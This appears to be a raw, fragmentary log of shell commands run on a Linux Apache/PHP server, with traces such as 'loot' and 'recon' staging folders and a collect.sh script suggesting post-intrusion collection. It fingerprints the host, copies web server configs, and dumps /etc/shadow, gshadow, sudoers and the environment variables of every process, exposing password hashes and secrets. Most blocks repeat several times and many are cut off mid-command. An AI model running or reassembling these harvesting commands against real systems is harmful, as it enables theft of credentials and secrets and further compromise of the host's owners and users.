echo "== nginx docs"; nginx -T 2>/dev/null | grep ; sort -nr ; head -200 ; mkdir -p /tmp/<REDACTED>-443/configs ; head -80 ; find /home -type f -size -256k ; find /usr/local/etc/php -type f -size -256k ; head -80 ; head -80 ; head -500 ; find /etc/apache2 -type f -size -256k ; sort -nr ; find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h ; find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h ; head -400 ; find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h ; sort -u /tmp/<REDACTED>-443/.candidates ; grep -qx 543c6ce7776d222a16c598d1d1108d2de9be5a812f832a35dcaa0bc50369341b ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx c2c23f0d22e8003ff9fbc30affa176dc2cb76112ead31492464fcb51fd3c48d4 ; cp -p /etc/apache2/conf-available/docker-php.conf /tmp/<REDACTED>-443/configs/0003__etc__apache2__conf-available__docker-php.conf ; cp -p /etc/apache2/conf-available/charset.conf /tmp/<REDACTED>-443/configs/0002__etc__apache2__conf-available__charset.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 96e05361253da0d9be1ec6c7c9003cbbb261ba65b659bd6e40ca0eac43093c43 ; cp -p /etc/apache2/apache2.conf /tmp/<REDACTED>-443/configs/0001__etc__apache2__apache2.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/conf-available/localized-error-pages.conf /tmp/<REDACTED>-443/configs/0004__etc__apache2__conf-available__localized-error-pages.conf ; grep -qx b58e5cc37210940c8d08439feeefd17c0b7cf641bbadb04cd568b7324aa1840c ; grep -qx af15ee8478cfbd00ae1fa5091ea5f19cce29a1ce60e567579c7c3b020b332335 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/conf-available/other-vhosts-access-log.conf /tmp/<REDACTED>-443/configs/0005__etc__apache2__conf-available__other-vhosts-access-log.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 86296f2324bcc27790a80c863886fffd10d7a48b28587151e541f38136055b8b ; grep -qx 86ce9176a02f929ef4abeecaf4bd841ffa92c5aba96a3a7206d48d086d746a30 ; cp -p /etc/apache2/envvars /tmp/<REDACTED>-443/configs/0008__etc__apache2__envvars ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 589e1ff2671b578ee97ea0e322a9d5337aef755dfc6868cf15d3dfad944081ce ; grep -qx f3c96a2ec95fbb3371f2c18d77366fc09b07267a156beb4870943f3f029eb3f2 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/conf-available/serve-cgi-bin.conf /tmp/<REDACTED>-443/configs/0007__etc__apache2__conf-available__serve-cgi-bin.conf ; cp -p /etc/apache2/conf-available/security.conf /tmp/<REDACTED>-443/configs/0006__etc__apache2__conf-available__security.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/magic /tmp/<REDACTED>-443/configs/0009__etc__apache2__magic ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/actions.conf /tmp/<REDACTED>-443/configs/0011__etc__apache2__mods-available__actions.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx c8ffcdbca84fa3e9ca0aaead34c8d091ced52b23e8bd01d20713c859b1bfc5a7 ; grep -qx c7beb28538dbcb96cd5ffa98d7b4c10b494cac4575e081ec43ea82a8dd4c2e5d ; cp -p /etc/apache2/mods-available/access_compat.load /tmp/<REDACTED>-443/configs/0010__etc__apache2__mods-available__access_compat.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx a4b933cd058939054d42b578098ae0e6be639dc997aaf302420e16c5c860ce8a ; cp -p /etc/apache2/mods-available/auth_basic.load /tmp/<REDACTED>-443/configs/0012__etc__apache2__mods-available__auth_basic.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 0b16917087731932bba3a0f0d0b39c6f1cacfe1d41991d902ebebb5ec6dee7db ; cp -p /etc/apache2/mods-available/auth_digest.load /tmp/<REDACTED>-443/configs/0013__etc__apache2__mods-available__auth_digest.load ; grep -qx 7010d97d6634dc3ead34626ec521dafd4788022fcc8884dcc0f487f7b911cb53 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/auth_form.load /tmp/<REDACTED>-443/configs/0014__etc__apache2__mods-available__auth_form.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 7bca4c36d5b7b318f79593a99fe32322a19afa8a7142295fcaad27ff96a474c5 ; cp -p /etc/apache2/mods-available/authz_core.load /tmp/<REDACTED>-443/configs/0019__etc__apache2__mods-available__authz_core.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/authnz_fcgi.load /tmp/<REDACTED>-443/configs/0017__etc__apache2__mods-available__authnz_fcgi.load ; grep -qx e911902e340d361e1f71465faeb9d2a5e3fb7fd88505b1c34f1caec4c5fd8017 ; cp -p /etc/apache2/mods-available/authnz_ldap.load /tmp/<REDACTED>-443/configs/0018__etc__apache2__mods-available__authnz_ldap.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 02d4948b34c8eb9e8fd73e3cda48c95fb27046130b796700a365285ba79c9796 ; grep -qx e448b675683da32700029e6f68314de99b446101e07049707dd090e6eaef7293 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 409c8e2972b8fb0aac7560cbef73787a9a0559c92d453024caab13ae3b25f19c ; cp -p /etc/apache2/mods-available/authn_dbd.load /tmp/<REDACTED>-443/configs/0015__etc__apache2__mods-available__authn_dbd.load ; cp -p /etc/apache2/mods-available/authn_dbm.load /tmp/<REDACTED>-443/configs/0016__etc__apache2__mods-available__authn_dbm.load ; grep -qx 320727f6cd3f45f66b0d5614a45dd481f470f1139ee5a00f440c7e353690a15f ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/authz_dbd.load /tmp/<REDACTED>-443/configs/0020__etc__apache2__mods-available__authz_dbd.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx da5f215f80664214136546a3d596fc0b2e5087c8bf0eb0262658ffe892d1a8dd ; cp -p /etc/apache2/mods-available/authz_dbm.load /tmp/<REDACTED>-443/configs/0021__etc__apache2__mods-available__authz_dbm.load ; grep -qx d219d39b2a55db76bfd8c14ecdfe06ea40a6bbc71df2ff1a541c873384438e3e ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/authz_user.load /tmp/<REDACTED>-443/configs/0022__etc__apache2__mods-available__authz_user.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 462af26b41a9459eb89fa52a4680cf6f782ab1ac390e0d40ffa979283ac43ce7 ; cp -p /etc/apache2/mods-available/brotli.load /tmp/<REDACTED>-443/configs/0023__etc__apache2__mods-available__brotli.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 481ce792fe95bbd71acf1879fa5859e8b6025b20bdea736e01a137b94b65761b ; cp -p /etc/apache2/mods-available/cache_socache.load /tmp/<REDACTED>-443/configs/0024__etc__apache2__mods-available__cache_socache.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 7d47ebb6d5a15a3f76c657c726dbbfbe65d36412c8d3a3785b9e20241c50284e ; cp -p /etc/apache2/mods-available/cern_meta.load /tmp/<REDACTED>-443/configs/0025__etc__apache2__mods-available__cern_meta.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 0685a94c3eb619ff40c04223a492abac258aa1b346c81e665ac684ad1af6f768 ; cp -p /etc/apache2/mods-available/data.load /tmp/<REDACTED>-443/configs/0027__etc__apache2__mods-available__data.load ; grep -qx b1f194962c61227b8b94dad037b69b116ea9c782586e96df8cc1d338ec657e6f ; grep -qx 8232d9a40d516b1e8e3856ab13f6f502ac7639929b61692b68972f9f0f7dfeec ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/cgid.load /tmp/<REDACTED>-443/configs/0026__etc__apache2__mods-available__cgid.load ; cp -p /etc/apache2/mods-available/dav_fs.load /tmp/<REDACTED>-443/configs/0028__etc__apache2__mods-available__dav_fs.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 8eb6af17232f8bdc72f702a1f554813edc418d17c1b9c60879bf95c3f2c8a397 ; cp -p /etc/apache2/mods-available/dav_lock.load /tmp/<REDACTED>-443/configs/0029__etc__apache2__mods-available__dav_lock.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 98fc163c39b10e0dbeab9c273efe71b78f713a6997a45a10e5980aa0a972b052 ; cp -p /etc/apache2/mods-available/dbd.load /tmp/<REDACTED>-443/configs/0030__etc__apache2__mods-available__dbd.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 87210bf2b2cc8d2fc934c9537330f5ce5ccd5508ddebd002538c2e3e912cd083 ; cp -p /etc/apache2/mods-available/dir.load /tmp/<REDACTED>-443/configs/0033__etc__apache2__mods-available__dir.load ; cp -p /etc/apache2/mods-available/dir.conf /tmp/<REDACTED>-443/configs/0032__etc__apache2__mods-available__dir.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 1ec99f5ea74482ee1fbda2003453b83f81fc3a0b9a410feb40e0d29e498f8b80 ; cp -p /etc/apache2/mods-available/dialup.load /tmp/<REDACTED>-443/configs/0031__etc__apache2__mods-available__dialup.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 4a4f78ffaced05b65e09082978ea7a050f4e7106c27fe605ee98b7b1dbae8740 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx e217b8984d3def11cfa84517c4a0f2174513a22dfbdd99afd8a1708ca5a4fd00 ; cp -p /etc/apache2/mods-available/file_cache.load /tmp/<REDACTED>-443/configs/0034__etc__apache2__mods-available__file_cache.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 918335d6c751a285bc7ada3c0ee54106723022c7c1ef62749bcef71796bb157d ; cp -p /etc/apache2/mods-available/filter.load /tmp/<REDACTED>-443/configs/0035__etc__apache2__mods-available__filter.load ; grep -qx 37e43a0b97d6018d342048b838ca017fd68857b4860e4a9abe9116e7f88d89d3 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/heartbeat.load /tmp/<REDACTED>-443/configs/0036__etc__apache2__mods-available__heartbeat.load ; grep -qx 2425be9c2c9ec7d3912048c16ce2e12566db476f8603f1029ffbded51f90a185 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/http2.conf /tmp/<REDACTED>-443/configs/0037__etc__apache2__mods-available__http2.conf ; cp -p /etc/apache2/mods-available/http2.load /tmp/<REDACTED>-443/configs/0038__etc__apache2__mods-available__http2.load ; grep -qx 295f89a604fcad6517013c3dcc93e59eebf749d3bdf5de31ceac34fdf7f215a5 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 005f784207278b74409bc550ff6664019f54b6fc04b8fccdba7686d1dfbf7bf7 ; cp -p /etc/apache2/mods-available/ident.load /tmp/<REDACTED>-443/configs/0039__etc__apache2__mods-available__ident.load ; grep -qx 5c9900e6d20a67c7ecee2ae515d7d7320c2c8be61a0f460f13da03ed97ce6076 ; cp -p /etc/apache2/mods-available/imagemap.load /tmp/<REDACTED>-443/configs/0040__etc__apache2__mods-available__imagemap.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx ac98898999e9be33917fb85c2c447783fe690fb2daf35961864ce12188aba992 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx aea65b1ea8d48100e7b22862c65cffad6f0835f83c1749585276c4b147e05ff4 ; cp -p /etc/apache2/mods-available/log_debug.load /tmp/<REDACTED>-443/configs/0043__etc__apache2__mods-available__log_debug.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx cff0e1248eaea7619acf2d23c20677886a8e69bf849af9693d7c4eee270a7bcc ; cp -p /etc/apache2/mods-available/lbmethod_bytraffic.load /tmp/<REDACTED>-443/configs/0041__etc__apache2__mods-available__lbmethod_bytraffic.load ; grep -qx 689069cd516b390acaa81f735be03a06d00977dc772161e0ae010a465460f16e ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/lbmethod_heartbeat.load /tmp/<REDACTED>-443/configs/0042__etc__apache2__mods-available__lbmethod_heartbeat.load ; cp -p /etc/apache2/mods-available/lua.load /tmp/<REDACTED>-443/configs/0044__etc__apache2__mods-available__lua.load ; grep -qx 827c3be42b423720a5d414fec0cd6c0cfc0055c0e90c0511829b5b423538e831 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/mpm_prefork.load /tmp/<REDACTED>-443/configs/0048__etc__apache2__mods-available__mpm_prefork.load ; grep -qx 3b5b341da5c398db85696dbac30eba03eb70a9a40c1a694c9e901767735ae2cf ; cp -p /etc/apache2/mods-available/mpm_prefork.conf /tmp/<REDACTED>-443/configs/0047__etc__apache2__mods-available__mpm_prefork.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx fc06b0badf68c82dd897441b0e39c457f3be49583f0401731bc5c9ae547b9495 ; cp -p /etc/apache2/mods-available/md.load /tmp/<REDACTED>-443/configs/0045__etc__apache2__mods-available__md.load ; cp -p /etc/apache2/mods-available/mpm_event.conf /tmp/<REDACTED>-443/configs/0046__etc__apache2__mods-available__mpm_event.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 23a180df0d1290a3068347145570eaa54bf8cb598181482e50a07a12d3edf516 ; grep -qx 48ba3d685171bbb591a5ca9210eac338369d21923a327ac211ad76955838a440 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/mpm_worker.load /tmp/<REDACTED>-443/configs/0049__etc__apache2__mods-available__mpm_worker.load ; grep -qx 3041b28664a6b7dee9e93adaf09e0d6cbbfd29016f6a634fcfa0429cba39d7be ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/negotiation.conf /tmp/<REDACTED>-443/configs/0050__etc__apache2__mods-available__negotiation.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx b549a5a8522d61b72ae6e7920cafc3680b4a25dc9a5d32485ac88c2a23726fd0 ; nohup sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; hostname ; date -u +%Y%m%dT%H%M%SZ ; mkdir -p /tmp/<REDACTED>-443 ; id ; cat ; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; timeout 40 sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2 ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; timeout 40 sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat ; timeout 40 sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /s ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; timeout 40 sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /o ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; timeout 40 sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do print ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; awk
function nib(c){return index("0123456789ABCDEF", toupper(c))-1}
function h2d(s, i,v){v=0; for(i=1;i<=length(s);i++) v=v*16+nib(substr(s,i,1)); return v}
function ip4(h){return h2d(substr(h,7,2)) "." h2d(substr(h,5,2)) "." h2d(substr(h,3,2)) "." h2d(substr(h,1,2))}
function st(c){if(c==" ; timeout 40 sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; timeout 40 sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /e ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; timeout 40 sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
